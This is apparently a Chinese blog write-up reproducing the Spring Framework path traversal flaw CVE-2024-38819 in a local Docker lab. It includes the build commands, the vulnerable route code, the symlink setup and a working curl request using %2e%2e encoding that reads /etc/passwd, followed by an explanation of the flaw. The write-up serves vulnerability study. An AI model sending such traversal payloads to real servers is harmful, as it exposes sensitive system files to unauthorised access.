CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现

操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

cd vuln

创建容器并启动

 docker build -t cve-2024-38819-poc .
 docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了 /etc/passwd 文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如 /etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:
  1. 设置静态资源路由 :创建 PathTraversalDemoApplication.java 文件,使用 RouterFunctionFileSystemResource 设置静态文件路由

    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    

    这段代码创建了一个静态文件资源的路由。当用户访问 /static/** 路径时,系统会从 /app/static/ 目录中提供文件。

  2. 创建符号链接

    RUN ln -s /static /app/static/link
    

    在 Dockerfile 中,ln -s 命令创建了一个符号链接 /static,指向 /app/static/link。这意味着攻击者可以通过访问 /static/link 来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    /static/link/%2e%2e/etc/passwd
    

    其中,%2e%2e%2e 编码的 ..,代表父目录。攻击者通过这种方式尝试从 /app/static/ 目录"跳出"并访问系统的其他目录(如 /etc/passwd),从而获取系统敏感信息。

相关推荐
阿志iiii29 分钟前
【Java毕业设计】商城购物系统(附源码+数据库脚本)
java·数据库·课程设计
m0_7156467629 分钟前
无名管道、有名管道、信号、信号处理
java·linux·网络·数据结构·算法·嵌入式·标准io
星迹日34 分钟前
数据结构:Map & set - 习题(三)
java·数据结构·经验分享·set·map
总是学不会.1 小时前
EasyExcel 使用指南:基础操作与常见问题
java·开发语言·数据库·后端·mysql
️○-1 小时前
后端之JPA(EntityGraph+JsonView)
java·数据库·后端·数据库架构
461K.1 小时前
linux 编辑器
java·linux·运维·服务器·ide·scala·intellij-idea
疯狂小伟哥1 小时前
文件上传-Windows点空格点绕过
java·docker·容器
啾啾Fun1 小时前
[java基础-JVM篇]3_JVM类加载机制
java·开发语言·jvm
大大。2 小时前
微信小程序 左右滑动块,自定义的switch组件,带文字状态的开关
java·前端·javascript
找了一圈尾巴2 小时前
Spring Boot 概要(官网文档解读)
java·spring boot·架构